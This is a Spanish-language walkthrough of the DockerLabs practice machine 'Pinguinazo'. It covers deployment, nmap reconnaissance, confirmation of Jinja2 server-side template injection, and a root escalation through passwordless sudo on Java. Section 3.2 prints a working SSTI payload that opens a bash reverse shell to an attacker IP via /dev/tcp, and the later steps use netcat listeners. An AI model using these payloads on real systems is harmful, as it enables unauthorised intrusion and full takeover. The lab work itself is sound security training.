> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pinguinazo.md).

# Pinguinazo

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Pinguinazo** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `pinguinazo.zip`:

```bash
7z x pinguinazo.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaNPGBZG7xsIvExyiFcRH%2FPasted%20image%2020250809145328.png?alt=media&amp;token=66e4cf5a-03a4-4749-b4f7-a49abe868a77" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `pinguinazo.tar`:

```bash
bash auto_deploy.sh pinguinazo.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSDb1IejieheTxAxckesl%2FPasted%20image%2020250809145400.png?alt=media&amp;token=2f8d6b5c-5372-4e06-a68f-a42be08e8d1c" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FEWNMBUfBHHgmz1d5DGs4%2FPasted%20image%2020250809145446.png?alt=media&amp;token=03559eb7-a315-4769-b9e3-01274713fe3e" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puerto abierto identificado:**

* **Puerto 5000:** `UPNP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fy7lI09wvBzuNMXINhmvJ%2FPasted%20image%2020250809145512.png?alt=media&amp;token=9589a546-0d19-4a81-8453-e51c0ea041e4" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p5000 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p5000`: Especifica el puerto a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 5000:** `Werkzeug/3.0.1 (Python/3.12.3)`, lo que indica un servidor Flask.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FeN4nsRdnMYABShfN71ID%2FPasted%20image%2020250809145728.png?alt=media&amp;token=a038e6e2-6eeb-4dea-a37c-bd6b72ab1358" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al puerto 5000 desde el navegador (`http://172.17.0.2:5000/`) y encontramos un panel de registro con varios campos a proporcionar.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7yLZecaNJ3aHPCZMPq4w%2FPasted%20image%2020250809145805.png?alt=media&amp;token=d944996d-6edc-4bd2-ba13-5f61752b3924" alt=""><figcaption></figcaption></figure>

Al introducir datos de ejemplo y enviarlos, la aplicación responde con un mensaje de saludo personalizado.

Esto sugiere que la entrada del usuario se procesa directamente en el servidor, lo que podría ser vulnerable a **Server-Side Template Injection (SSTI)**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbWZQYjhfgZfyQ5z2qbTu%2FPasted%20image%2020250809145848.png?alt=media&amp;token=be6e5af0-3fae-4609-9d88-d5875b0c2738" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Confirmación de vulnerabilidad SSTI**

Para confirmar si la aplicación es vulnerable a SSTI, introducimos la siguiente entrada en el campo "PinguNombre":

```python
{{7*7}}
```

**Resultado:** La aplicación muestra `49`, confirmando que la entrada se interpreta como código del lado del servidor. Esto confirma la vulnerabilidad SSTI.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FF3Qk7Lv9QkbwuUIPY4G6%2FPasted%20image%2020250809150005.png?alt=media&amp;token=7da3aca8-6372-4f13-a890-f85619ea27b9" alt=""><figcaption></figcaption></figure>

#### **3.2. Obtención de una reverse shell**

Explotamos la vulnerabilidad para obtener una reverse shell.

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 123
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCwfWi9IRjdHgyG4XEtxY%2FPasted%20image%2020250809150056.png?alt=media&amp;token=92a5a796-7b81-4b06-a1e3-da8df9e9f82d" alt=""><figcaption></figcaption></figure>

Introducimos la siguiente entrada maliciosa en el campo "PinguNombre":

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/100.100.100.4/123 0>&1\'').read() }}
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FLyL2aWNWlOUI8M3m45of%2FPasted%20image%2020250809150129.png?alt=media&amp;token=e3466775-e3a1-4390-a05e-c8332cecef46" alt=""><figcaption></figcaption></figure>

Confirmamos el acceso al sistema como el usuario `pinguinazo`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzsE3eBvCv2an2nYEe7vr%2FPasted%20image%2020250809150136.png?alt=media&amp;token=841682f8-3a71-4404-b944-99440bac8750" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de privilegios**

Ejecutamos el comando `sudo -l` para verificar los privilegios del usuario actual.

**Resultado:** El usuario puede ejecutar `/usr/bin/java` como `root` sin contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/java
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FP30CrWvRgJkIrwEXzdhT%2FPasted%20image%2020250809150236.png?alt=media&amp;token=cdf9003f-d8e5-4a0e-9f65-dcecbd7e73de" alt=""><figcaption></figcaption></figure>

#### **4.2. Creación de un archivo malicioso en Java**

Utilizamos [RevShells](https://www.revshells.com/) para generar una reverse shell en Java.

Copiamos el código y lo guardamos en un archivo `1.java`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fn3GlojpQ7G1UThuNBNHB%2FPasted%20image%2020250809150451.png?alt=media&amp;token=a1bc4cba-83e9-410b-822b-0eb997bbfac5" alt=""><figcaption></figcaption></figure>

#### **4.3. Obtención de shell como root**

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FAzzvoZPI9jP61Njr3oE0%2FPasted%20image%2020250809150517.png?alt=media&amp;token=7043c4a7-5562-4713-8d08-d19973c14231" alt=""><figcaption></figcaption></figure>

Ejecutamos el script malicioso como `root` con el siguiente comando:

```bash
sudo -u root /usr/bin/java 1.java
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjyQvA2l9GArno28xg0bk%2FPasted%20image%2020250809150604.png?alt=media&amp;token=c23b8008-1cfb-49f9-a49a-3ac0593a0526" alt=""><figcaption></figcaption></figure>

Confirmamos el acceso al sistema con privilegios de `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FAbvsiS4irImcr8UsTbyh%2FPasted%20image%2020250809150614.png?alt=media&amp;token=156785ab-5cba-4d3a-9afd-d2e375e956e2" alt=""><figcaption></figcaption></figure>
